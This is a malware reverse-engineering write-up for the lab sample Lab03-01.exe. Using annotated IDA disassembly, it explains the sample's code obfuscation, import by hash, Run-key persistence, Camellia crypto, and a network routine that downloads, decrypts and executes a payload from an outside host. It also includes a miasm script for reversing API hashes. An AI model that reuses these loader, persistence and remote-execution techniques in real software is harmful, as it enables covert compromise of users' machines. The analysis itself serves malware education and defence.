0x06_Lab03-01
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab03-01.exe | 07 KB | d537acb8f56a1ce206bc35cf8ff959c0 |
TL;DR: A malware implementing a little bit of obfuscation, import by hash and not-so-common cryptography. It can install itself in the Windows, System32, or %APPDATA% folders under the name vmx32to64.exe. Persistence is achieved through the addition of the registry key CurrentVersion\Run\VideoDriver (hive HKLM if admin, else HKCU). It ensures only one instance is running at a time using a mutex named WinVMX32. It uses the Winsock2 API to send random data to www.practicalmalwareanalysis.com:443.
Finally, this malware relies on 2 stack buffers to manipulate most of its data, so keeping track of what is written and where it’s written makes the analysis a lot easier.
Tools: IDA free 7.0, x32dbg, miasm (optional)
IDB: Lab03-01.i64
Obfuscation tricks
The call/call trick
Pushing an argument and calling a function without using the push instruction. For example:
1
2
3
4
5
6
7
8
.data:00401228 call near ptr loc_401235+1
.data:0040122D popa
.data:0040122E db 64h
.data:0040122E jbe short loc_401292
.data:00401231 jo short loc_40129C
.data:00401233 xor esi, [edx]
.data:00401235 loc_401235:
.data:00401235 add bh, bh
Let’s clean what IDA shows us: at address 0x401235, press d to say data (this allows us to operate on a byte-level granularity), and at address 0x401236 press c to say it’s code. The result is:
1
2
3
4
5
6
7
8
9
.data:00401228 call loc_401236
.data:0040122D popa
.data:0040122E db 64h
.data:0040122E jbe short loc_401292
.data:00401231 jo short loc_40129C
.data:00401233 xor esi, [edx]
.data:00401235 db 0
.data:00401236 loc_401236:
.data:00401236 call [ebp+var_EDF]
So, basically it’s 2 calls being executed. Between these 2 calls is in fact not code but a string. Got to address 0x40122D, press alt+a and select C-style. This makes appear the null-terminated string “advapi32” (if it doesn’t work, select all the lines having printable ascii chars and retry alt+a):
1
2
3
4
.data:00401228 call loc_401236
.data:0040122D aAdvapi32 db 'advapi32',0
.data:00401236 loc_401236:
.data:00401236 call [ebp+var_EDF]
So, the first call is used to push the address of the string “advapi32” on the stack; and this string is a parameter for the second call.
This trick is used a few time by the sample and can be handled by hand. However, a heavier use would have required some automation.
The call/pop trick
A trick similar to the previous one, except that the destination of the call is a pop instruction. This allows to get a pointer to the data stored just after the call. For example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:00401296 call push4
.data:0040129B dd 20B943E7h
.data:0040129F dw 0ABBh
.data:004012A1 dw 85h
.data:004012A3 dd 68624A9Dh
.data:004012A7 dw 0ABBh
.data:004012A9 dw 0A1h
[...]
.data:004013EB dd 54D8615Ah
.data:004013EF dw 0ABBh
.data:004013F1 dw 0CFCh
.data:004013F3 dd 0
.data:004013F7 push4:
.data:004013F7 pop edi
The push/pop trick
Moving source data to destination without using the mov instruction. Example:
1
2
.data:00401207 push dword ptr [eax+8]
.data:0040120A pop dword ptr [ebp-4C1h]
Import by hash
A classical obfuscation technique seen in many malwares: the aim is to use precomputed hashes instead of plaintext API and DLL names, in order to hinder static analysis. For API names, the malware performs a dictionary attack against the export table of the relevant DLL. For DLL names, it performs the dictionary attack against filenames in the System32 folder.
The function implementing the resolution of imports is at address 0x400A70, below is the prototype I came with:
1
2
3
4
5
6
DWORD
ImportByHash(
DWORD arg0,
DWORD dll_imagebase,
DWWORD api_hash
);
Details on imports resolution are given later.
There are several ways to retrieve the API name matching a given hash. In this case I built a list containing all the hashes I cound find in the binary and then, rather than reimplementing the hashing algorithm, I let the miam jitter do all the dirty work.
Below is the jitter code. I’m not very familiar with miasm API, but I somehow managed to do the job thanks to the provided examples. The code focus on the hashing part of ImportByHash() rather than on the whole function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
def jitter_callback_start(sb):
print("[+] Hash computation starts")
return True
def jitter_callback_end(sb):
result = sb.cpu.EAX
sb.run = False
sb.pc = 0
return result
def jit_snippet(raw, hashes_to_find, api_list):
"""
raw: sample
hashes_to_find: list of hashes
api_list: path to folder of files containing api names
"""
start = 0x400aef
end = 0x400b29
name2hash = {}
for file in os.listdir(api_list):
file_path = os.path.join(api_list, file)
f = open(file_path, "r")
api_names = f.readlines()
print("[*] Parsing file {} ({} names)".format(file, len(api_names)))
for l in api_names:
l = l.split('\n')[0]
str_to_hash = l.encode("utf8")
str_to_hash += b'\x00'
sb = Machine("x86_32").jitter()
sb.init_stack()
# print(sb.stack_base)
# Dummy push for stack align (pop edx at 0x400b26);
# in original code, it's the hash to find.
sb.push_uint32_t(0x00c0ffee)
#sb.add_breakpoint(start, jitter_callback_start)
sb.add_breakpoint(end, jitter_callback_end)
sb.vm.add_memory_page(0x400000, PAGE_READ | PAGE_WRITE, raw) # code
sb.vm.add_memory_page(0x500000, PAGE_READ | PAGE_WRITE, str_to_hash) # data
#sb.vm.set_mem(0x500000, str_to_hash)
sb.cpu.EAX = 0
sb.cpu.EBX = 0
sb.cpu.ECX = 0xffffffff
sb.cpu.EDX = 0xffffffff
sb.cpu.EDI = len(str_to_hash)
sb.cpu.ESI = 0x500000 # string to hash
result = sb.run(addr=start)
if result in hashes_to_find:
api_name = str_to_hash[:-1].decode("utf8")
name2hash[api_name] = result
print("[+] Hash match {}:{}".format(hex(result), api_name))
f.close()
r = json.dumps(name2hash)
return r
The full script is available here. It’s far from perfect, but I’m not planning to rework it for I’m slowly moving towards Ghidra as my main reverse engineering framework.
Stack buffers
The code starts by calling address 0x400400, where 2 buffers a initialized on the stack: the first at ebp-0xf7c and the second at ebp-0xfc0:
1
2
3
4
5
6
7
8
9
10
11
12
.data:00400400 push ebp
.data:00400401 mov ebp, esp
.data:00400403 add esp, 0FFFFF030h ; sub esp, 0xfd0
.data:00400409 pusha
.data:0040040A xor eax, eax
.data:0040040C lea edi, [ebp-0F7Ch] ; buffer 1
.data:00400412 mov ecx, 0F74h
.data:00400417 rep stosb
.data:00400419 xor eax, eax
.data:0040041B lea edi, [ebp-0FC0h] ; buffer 2
.data:00400421 mov ecx, 44h
.data:00400426 rep stosb
With the help of a debugger (or not), we can draw the following layout of the stack:
1
2
3
4
5
6
7
ebp-0xfc0 ebp-0xf7c ebp
| | |
v v v
+-----------+------------//-----+-----+-----+-----------+-----------+
| buffer 2 | buffer 1 | dw1 | dw2 | saved ebp | saved eip |
+-----------+------------//-----+-----------+-----------+-----------+
lower addresses higher adresses
Across the code, data will be saved, accessed and manipulated in these two buffers. Many of these uses rely on offsets from ebp-0xf7c (“base address of buffer 1”), so keeping this layout in mind would be useful.
In addition, IDA allows the creation of custom structures, so we can create one of size 0xf7c bytes to represents buffer 1 and fill it as things progress:
- Open the “Structures” subview (view -> Open subviews -> Structures)
- Press
Insto create a new structure - Press
dto create a new field - Press
Ctrl+eand expand the structure up to 0xf7c bytes - If necessary, press
uto undefine a field; it will be deleted if all other fields below it are also undefined
Then, each time a register (spoiler: it will be ESI) points to the base of buffer 1, we’ll just have to press t and select the appropriate type to synchronize the disassembly with the content of the updated structure.
Imports resolution
Finding kernelbase.dll
As stated in the obfuscation section, the function implementing the resolution of imports is at address 0x400A70 and has the following prototype:
DWORD
ImportByHash(
DWORD arg0,
DWORD dll_imagebase,
DWWORD api_hash
);
Before calling this function for the first time, the malware retrieves the imagebase of kernelbase.dll from its PEB:
1
2
3
4
5
6
7
8
9
.data:004011FA mov eax, large fs:30h ; PEB
.data:00401200 mov eax, [eax+0Ch] ; PEB_LDR_DATA
.data:00401203 mov esi, [eax+1Ch] ; InInitializationOrderModuleList (ListEntry)
.data:00401206 lodsd ; load esi to eax (ListEntry.Flink => eax = LDR_DATA_TABLE_ENTRY+0x10)
.data:00401207 push dword ptr [eax+8] ; LDR_DATA_TABLE_ENTRY + 0x10 + 8 -> DllBase
.data:0040120A pop dword ptr [ebp-4C1h]; save imagebase
.data:00401210 push 4134D1ADh ; API hash
.data:0040121B push 0 ; unknown parameter
.data:0040121D call ImportByHash ;
To find the offset where the imagebase is saved, we just do the math according to the stack layout drew previously: 0xf7c-0x4c1=0xabb, so:
1
2
3
4
5
6
; custom struct 0xf7c
...
00000AB9 db ? ; undefined
00000ABA db ? ; undefined
00000ABB imagebase_kernelbase dd ?
...
Kernelbase.dll export table
The beginning of the function ImportByHash() contains offsets that look familiar: base+0x3C, PE+0x78, ExportTable+0x18, etc. It’s all about having pointers to ExportAddressTable, ExportNamePointerTable and ExportOrdinalTable.
Once these pointers are initialized, the first API name is retrieved from the ExportNamePointerTable and its hash is computed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
; esi -> current api name
; edi = api name length
.data:00400AEA xor ecx, ecx
.data:00400AEC dec ecx
.data:00400AED mov edx, ecx
.data:00400AEF
.data:00400AEF next_char:
.data:00400AEF xor eax, eax ; start of code to emulate
.data:00400AF1 xor ebx, ebx
.data:00400AF3 lodsb
.data:00400AF4 xor al, cl
.data:00400AF6 mov cl, ch
.data:00400AF8 mov ch, dl
.data:00400AFA mov dl, dh
.data:00400AFC mov dh, 8
.data:00400AFE
.data:00400AFE loop_8:
.data:00400AFE shr bx, 1
.data:00400B01 rcr ax, 1
.data:00400B04 jnb short loc_400B0F
.data:00400B06 xor ax, 8320h
.data:00400B0A xor bx, 0EDB8h
.data:00400B0F
.data:00400B0F loc_400B0F:
.data:00400B0F dec dh
.data:00400B11 jnz short loop_8
.data:00400B13 xor ecx, eax
.data:00400B15 xor edx, ebx
.data:00400B17 dec edi
.data:00400B18 jnz short next_char
.data:00400B1A not edx
.data:00400B1C not ecx
.data:00400B1E mov eax, edx
.data:00400B20 rol eax, 10h
.data:00400B23 mov ax, cx
The resulting hash is compared to the target hash (third argument of the function) at address 0x400B27:
1
2
3
.data:00400B26 pop edx ; arg8 (hash). Dummy "push 0x00c0ffee" in emulation
.data:00400B27 cmp edx, eax
.data:00400B29 jz short hash_match ; end of code to emulate
If hashes don’t match the different pointers are updated and the next API name is hashed, else the address of the API is computed from the ExportOrdinalTable and the ExportAddressTable. This is exactly the same logic seen in the cheatsheet example:
1
2
3
4
5
6
7
8
9
10
11
12
13
.data:00400B35 hash_match:
.data:00400B35 pop esi ; restore
.data:00400B36 mov eax, [ebp+i] ; index of matching entry in ExportNamePointerTable
.data:00400B39 shl eax, 1 ; sizeof(WORD)
.data:00400B3B add eax, [ebp+ExportOrdinalTable]
.data:00400B3E xor esi, esi
.data:00400B40 xchg eax, esi
.data:00400B41 mov ax, [esi] ; get ordinal (ordinal = index used in EAT)
.data:00400B44 shl ax, 2 ; EAT idx (sizeof(DWORD))
.data:00400B48 add eax, [ebp+ExportAddressTable]
.data:00400B4B xchg eax, esi
.data:00400B4C mov eax, [esi] ; RVA API
.data:00400B4E add eax, [ebp+dllbase] ; addr API
So, adress 0x400B4E is a cool candidate breakpoint for dynamic analysis (x32dbg, for example, will automatically give the mapping API name <-> API address in eax). If we fire up the debugger to get a quick answer, we see the first call to ImportByHash() resolves to LoadLibraryA (surprise!).
Loading more DLLs
Back from the first call to ImportByHash(), the malware saves the address of LoadLibraryA():
1
2
.data:0040121D call ImportByHash
.data:00401222 mov [ebp-0EDFh], eax ; LoadLibraryA
LoadLibraryA() is used to load the following libraries: advapi32, ntdll, user32, advpack, and (later) ws32_2. The snippet below illustrate the loading of advapi32.dll (using the call/call trick):
1
2
3
4
5
6
7
.data:00401228 call push1
.data:00401228 ; ---------------------------------------------------------------------------
.data:0040122D aAdvapi32 db 'advapi32',0
.data:00401236 ; ---------------------------------------------------------------------------
.data:00401236 push1:
.data:00401236 call dword ptr [ebp-0EDFh] ; LoadLibraryA
.data:0040123C mov [ebp-4A9h], eax
To compute the destination offset, just recall the example given for kernelbase.
Custom structures
Some resolutions rely on the use of custom structures, for example between addresses 0x401296 and 0x40141D. First, the call/pop trick is used so edi points to what seems gibberish data at first sight:
1
2
3
4
5
6
7
8
.data:00401296 call push4
.data:0040129B dd 20B943E7h
.data:0040129F dw 0ABBh
.data:004012A1 dw 85h
[...]
.data:004013F7 push4:
.data:004013F7 pop edi
.data:004013F8 lea esi, [ebp-0F7Ch]
However, looking at how the data are used in the following loop, we deduce it’s an array of custom structures:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:004013F8 lea esi, [ebp-0F7Ch] ; esi -> base of buffer 1
.data:004013FE
.data:004013FE get_next_api:
.data:004013FE cmp dword ptr [edi], 0 ; is end?
.data:00401401 jz short end_table
.data:00401403 movzx eax, word ptr [edi+4] ; ax = offset_1
.data:00401407 push dword ptr [edi] ; API hash
.data:00401409 push dword ptr [eax+esi] ; buffer1[offset_1] = dllbase
.data:0040140C push 0 ; unknown parameter
.data:0040140E call ImportByHash
.data:00401413 movzx edx, word ptr [edi+6] ; dx = offset_2
.data:00401417 mov [edx+esi], eax ; buffer1[offset_2] = api_address
.data:0040141A add edi, 8 ; next entry
.data:0040141D jmp short get_next_api
Hence we can improve the layout of the data by creating the following structure:
1
2
3
4
5
6
00000000 CUSTOM_IID struc ; (sizeof=0x8, mappedto_7)
00000000 ; XREF: .data:0040129B/r
00000000 api_hash dd ?
00000004 offset_to_dll_base dw ?
00000006 offset_to_api_address dw ?
00000008 CUSTOM_IID ends
Then, selecting all the data and pressing * to make and array, we end up with:
1
2
3
4
5
6
7
8
9
10
.data:00401296 call push4
.data:00401296 ; ---------------------------------------------------------------------------
.data:0040129B ; CUSTOM_IID
.data:0040129B CUSTOM_IID <20B943E7h, 0ABBh, 85h> ; hash, offset_dllbase, offset_dest
.data:0040129B CUSTOM_IID <68624A9Dh, 0ABBh, 0A1h>
.data:0040129B CUSTOM_IID <0AC136BAh, 0ABBh, 0A5h>
[...]
.data:004013F7 push4:
.data:004013F7 pop edi
.data:004013F8 lea esi, [ebp-0F7Ch]
Using the field offset_dest we can (although manually) fill part of the big buffer1 structure by renaming the relevant fields with something like addr_apiname.
Later in the code, ws2_32 imports are resolved using a similar approach:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
; esi->base_buffer1
.data:00400480 call loc_40048C
.data:00400480 ; ---------------------------------------------------------------------------
.data:00400485 aWs232 db 'ws2_32',0
.data:0040048C ; ---------------------------------------------------------------------------
.data:0040048C
.data:0040048C loc_40048C: ; CODE XREF: Network+49↑p
.data:0040048C pop eax
.data:0040048D push eax
.data:0040048E call [esi+BUFFER_1.addr_LoadLibraryA]
.data:00400494 mov [esi+BUFFER_1.imagebase_ws2_32], eax
.data:0040049A call loc_4004D9
.data:0040049A ; ---------------------------------------------------------------------------
.data:0040049F ; CUSTOM_IID_2 CUSTOM_IID_2_0
.data:0040049F CUSTOM_IID_2_0 CUSTOM_IID_2 <8EB460E1h, 1> ; api_hash, offset_to_dest
.data:0040049F CUSTOM_IID_2 <7C2941D1h, 15h>
.data:0040049F CUSTOM_IID_2 <65ECBB1Eh, 19h>
.data:0040049F CUSTOM_IID_2 <0EAED580Ch, 1Dh>
.data:0040049F CUSTOM_IID_2 <5F7E2D81h, 5>
.data:0040049F CUSTOM_IID_2 <377022BAh, 0Dh>
.data:0040049F CUSTOM_IID_2 <7A3CE88Ah, 11h>
.data:0040049F CUSTOM_IID_2 <1CC6CDC5h, 9>
.data:0040049F CUSTOM_IID_2 <492DDFD7h, 99h>
.data:004004D5 dd 0
.data:004004D9 ; ---------------------------------------------------------------------------
.data:004004D9
.data:004004D9 loc_4004D9: ; CODE XREF: Network+63↑p
.data:004004D9 pop edi
.data:004004DA
.data:004004DA solve_next_ws2_32_import: ; CODE XREF: Network+C1↓j
.data:004004DA cmp dword ptr [edi], 0
.data:004004DD jz short end_array
.data:004004DF push dword ptr [edi]
.data:004004E1 push [esi+BUFFER_1.imagebase_ws2_32]
.data:004004E7 push eax
.data:004004E8 call [esi+BUFFER_1.ptr_sub_400a70_hash2api] ; 0x400a70
.data:004004EE movzx edx, word ptr [edi+4]
.data:004004F2 mov [edx+esi], eax
.data:004004F5 add edi, 6
.data:004004F8 jmp short solve_next_ws2_32_import
.data:004004FA ; ---------------------------------------------------------------------------
.data:004004FA
.data:004004FA end_array:
[...]
More data
In addition to API addresses, the same kind of custom structures are used to save more data such as strings, function pointers and data pointers in buffer 1. See for example addresses 0x401431 and 0x401595.
Malware installation
After all these buffer-filling things, the malware reaches address 0x4015f1 and calls function 0x4017ba:
1
2
.data:004015F0 push esi ; buffer1
.data:004015F1 call dword ptr [ebp-0EA7h] ; 0x4017ba: install malware
Function 0x4017ba performs installation in a classical way: copy to some folder and create an entry under the registry key Run. As there’s nothing really new from previous writeups, no code is shown.
Copy
Copy occurs in function 0x401883. The destination folder depends on a flag and on privileges the malware runs with. It can be the Windows directory (retrieved with a call to GetWindowsDirectoryA), the System32 directory (GetSystemDirectoryA) or the %AppData% directory (retrieved from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders).
In any case, the copy is named vmx32to64.exe and the original file is deleted. One a side note, admin privileges were checked earlier with a call to IsNTAdmin() (see address 0x401516).
Persistence
Inside function 0x401715, the malware creates either:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriverkey (if not admin)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriverkey (if admin)
The content of the key is the path to the malware copy.
Threads creation
Still inside function 0x4017ba, we notice the malware can execute two calls to the api Createthread. However, I didn’t find where the start addresses where located.
Network
Back from malware installation, we reach address 0x4015f8:
1
2
.data:004015F7 push esi
.data:004015F8 call dword ptr [ebp-0EA3h] ; 0x400437: network!
Let’s dig into function 0x400437. This function starts by creating a mutex named “WinVMX32” (and exits if it already exists); here again, no code shown because it’s always the same thing. It’s also here that ws2_32.dll imports are resolved.
Crypto
Communications with the CnC are encrypted. At address 0x40047a is a call to function 0x400b5a:
1
.data:0040047A call [esi+BUFFER_1.ptr_sub_400b5a_Crypto_camellia256_set_key]
Inside this function, we notice what looks like cryptographic constants:
1
2
3
.data:00400B9B camellia_sigma dd 7F669EA0h, 8B90CC3Bh, 58E87AB6h, 0B273AA4Ch, 2F37EFC6h
.data:00400B9B dd 0BE824FE9h, 0A553FF54h, 1C6FD3F1h, 0FA27E510h, 1D2D68DEh
.data:00400B9B dd 0C28856B0h, 0FDC1E6B3h
After some wandering and googling, we find a Github project allowing us to link these with Camellia encryption (symmetric). I’ve never met this algorithm before, so I compared the sources publicly available to the disassembly and made some assumptions:
- Function
0x400de0might be CamelliaDecrypt() - Function
0x400cf4might be CamelliaEncrypt() - buffer1+0x96b points to the encryption/decryption key
This is thin, but enough to get a better understanding of the overall communication protocol.
Winsock2 init
Initialization of winsock2 communication starts just after the resolution of network-related imports:
1
2
3
4
5
6
.data:0040050C lea ecx, [ebp+WSADATA]
.data:00400512 push ecx ; WSADATA*
.data:00400513 push 101h
.data:00400518 call eax ; WSAStartup
.data:0040051A test eax, eax
.data:0040051C jnz failed_winsock_init
Then the domain www.practicalmalwareanalysis.com and port 443 are retrieved from buffer1:
1
2
3
4
5
6
.data:00400633 lea edi, [ebp+malicious_domain]
.data:00400639 push edi ; dest
.data:0040063A push ecx ; size or null
.data:0040063B lea edi, [esi+BUFFER_1.domain_and_port]
.data:00400641 push edi ; source
.data:00400642 call [esi+BUFFER_1.ptr_sub_400988_CopyData] ; 0x400988; returns port in ECX
A call to htons() is made to convert the little-endian port number to big-endian (“network byte order”):
1
2
.data:0040064E push ecx ; 0x1bb = port 443
.data:0040064F call [esi+BUFFER_1.addr_htons]
Following that, a socket is created:
1
2
3
4
5
6
7
8
.data:0040064E push ecx
.data:0040064F call [esi+BUFFER_1.addr_htons]
.data:00400652 mov [ebp+SOCKADDR.sin_port], ax
.data:00400659 push 0 ; no protocol specified
.data:0040065B push SOCK_STREAM
.data:0040065D push AF_INET
.data:0040065F call [esi+BUFFER_1.addr_socket]
.data:00400662 mov [ebp+socket], eax ; sd
A call to gethostbyname() allows to get the IP address of the domain:
1
2
3
4
5
6
7
8
9
10
.data:0040067D lea eax, [ebp+malicious_domain]
.data:00400683 push eax
.data:00400684 call [esi+BUFFER_1.addr_gethostbyname]
.data:00400687 or eax, eax
.data:00400689 jnz short gethostbyname_success
[...]
.data:00400690 gethostbyname_success: ; CODE XREF: Network+252↑j
.data:00400690 mov eax, [eax+0Ch]
.data:00400693 mov eax, [eax]
.data:00400695 mov eax, [eax] ; CnC IP
I didn’t follow all the pointer shenanigans, but in the end eax = 0x184E00C0:
| Byte1 | Byte2 | Byte3 | Byte4 |
|---|---|---|---|
| 0x18 | 0x4E | 0x00 | 0xC0 |
| 24 | 78 | 00 | 192 |
=> 192.0.78.24 = IP of the domain.
Once the malware has the IP to contact, it connects the socket:
1
2
3
4
5
6
7
.data:004006AA push 10h ; sizeof(sockaddr)
.data:004006AC lea eax, [ebp-1A8h]
.data:004006B2 push eax ; sockaddr
.data:004006B3 push dword ptr [ebp-4] ; socket
.data:004006B6 call [esi+BUFFER_1.addr_connect]
.data:004006B9 or eax, eax
.data:004006BB jnz close_socket_and_sleep
If the connection is successful, data are sent to the server.
Sending and receiving data
Data to send were generated early during malware execution (see address 0x4015A5), but it’s just randomly generated data so I skipped it at first. These data are transformed inside function 0x4010dc and put inside a buffer pointed by edi:
1
2
3
4
5
6
7
8
9
10
11
12
13
.data:00400851 send_data: ; CODE XREF: Network+29B↑j
.data:00400851 ; Network+360↑j ...
.data:00400851 lea edi, [ebp+data_to_send]
.data:00400857 xor ecx, ecx
.data:00400859
.data:00400859 process_data_to_send:
.data:00400859 push esi
.data:0040085A call [esi+BUFFER_1.ptr_sub_4010dc_CryptoRandom2] ; 0x4010dc
.data:00400860 mov [ecx+edi], eax
.data:00400863 mov [ecx+edi+4], edx
.data:00400867 add ecx, 8
.data:0040086A cmp ecx, 100h
.data:00400870 jnz short process_data_to_send
Following that, data are finally sent:
1
2
3
4
5
6
.data:00400872 push 100h ; size of data
.data:00400877 push edi ; random data
.data:00400878 push [ebp+socket]
.data:0040087B push 1 ; flag 1 = send (0 = recv)
.data:0040087D push esi ; base buffer 1
.data:0040087E call [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv] ; 4009d3
Next, the malware:
- Uses
CamelliaEncrypt()on the data already sent - Receive data from the server
- Compare both
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
; encrypt
.data:00400886 encrypt_dafuck:
.data:00400886 push esi
.data:00400887 lea eax, [esi+BUFFER_1.camellia]
.data:0040088D push eax
.data:0040088E push edi
.data:0040088F push edi ; encrypt the random data
.data:00400890 call [esi+BUFFER_1.ptr_sub_400cf4_CamelliaEncrypt] ; 0x400cf4
.data:00400896 add edi, 10h
.data:00400899 add ecx, 1
.data:0040089C cmp ecx, 10h
.data:0040089F jnz short encrypt_dafuck
; receive
.data:004008A1 push 100h ; size of buffer
.data:004008A6 lea eax, [ebp+encrypted_data_recv]
.data:004008AC push eax ; data to receive
.data:004008AD push [ebp+socket]
.data:004008B0 push 0 ; flag 0 = recv
.data:004008B2 push esi ; base buffer 1
.data:004008B3 call [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv] ; 4009d3
.data:004008B9 push esi
; compare
.data:004008BA cld
.data:004008BB mov ecx, 40h
.data:004008C0 lea esi, [ebp+data_to_send] ; now encrypted
.data:004008C6 lea edi, [ebp+encrypted_data_recv]
.data:004008CC repe cmpsd
.data:004008CE jz short data_match
.data:004008D0 pop esi
.data:004008D1 mov [ebp+sleep_time], 7530h
.data:004008DB jmp short close_socket_and_sleep
During the dynamic analysis, the recv buffer stayed desperately empty. However, I speculate the server should answer with the data it received from the send and encrypted on its side. If the server answer match the data encrypted on the client side, it means both are in possession of the encryption key.
If the data match, the malware receive 4 more bytes from the server:
1
2
3
4
5
6
7
.data:004008DE push 4 ; size
.data:004008E0 lea eax, [ebp+WSADATA.lpVendorInfo+2]
.data:004008E3 push eax ; output to recv 4 bytes
.data:004008E4 push [ebp+socket]
.data:004008E7 push 0 ; 0 = recv
.data:004008E9 push esi ; base buffer 1
.data:004008EA call [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv]
It appears these 4 bytes are a size, and are used in a following call to VirtualAlloc():
1
2
3
4
5
6
.data:004008F4 push PAGE_EXECUTE_READWRITE ; RWX FTW
.data:004008F6 push MEM_COMMIT
.data:004008FB push [ebp+WSADATA.lpVendorInfo+2] ; data received=size to alloc
.data:004008FE push 0
.data:00400900 call [esi+BUFFER_1.addr_VirtualAlloc]
.data:00400903 mov edi, eax ; future payload
Without surprise now, the allocated buffer is used to download additional data:
1
2
3
4
5
6
.data:00400905 push [ebp+WSADATA.lpVendorInfo+2] ; size of download
.data:00400908 push eax ; download data to heap
.data:00400909 push [ebp+socket]
.data:0040090C push 0 ; recv
.data:0040090E push esi ; base buffer 1
.data:0040090F call [esi+BUFFER_1.ptr_sub_4009d3_NetworkSendOrRecv]
Downloaded data are decrypted with CamelliaDecrypt():
1
2
3
4
5
6
7
8
9
10
11
12
13
.data:00400926 push edi ; save
.data:00400927 mov ecx, [ebp+WSADATA.lpVendorInfo+2] ; payload size
.data:0040092A loop_decrypt:
.data:0040092A push esi
.data:0040092B lea eax, [esi+BUFFER_1.camellia]
.data:00400931 push eax
.data:00400932 push edi
.data:00400933 push edi ; downloaded payload
.data:00400934 call [esi+BUFFER_1.ptr_sub_400de0_CamelliaDecrypt] ; 0x400de0
.data:0040093A add edi, 10h
.data:0040093D sub ecx, 10h
.data:00400940 jnz short loop_decrypt
.data:00400942 pop edi ; restore
And the payload is executed:
1
2
3
4
5
6
.data:00400943 push edi
.data:00400944 push [ebp+socket]
.data:00400947 pop [esi+BUFFER_1.socket]
.data:0040094D push esi
.data:0040094E call edi ; call payload
.data:00400950 pop edi
It’s a bit frustrating to get empty answers from the server, but “c’est la vie”.
Closing words
This 7 KB motherfucker gave IDA Free some bad times in disentangling data from code. I didn’t went into all the magic flags used by the network function, mostly because I’m lazy. Also, some calls stayed unresolved and some resolved API weren’t called (I’m thinking about process injection, hooking, and keylogging features). I see two explanations: (i) I missed something, or (ii) this is a somewhat disarmed sample.
EOF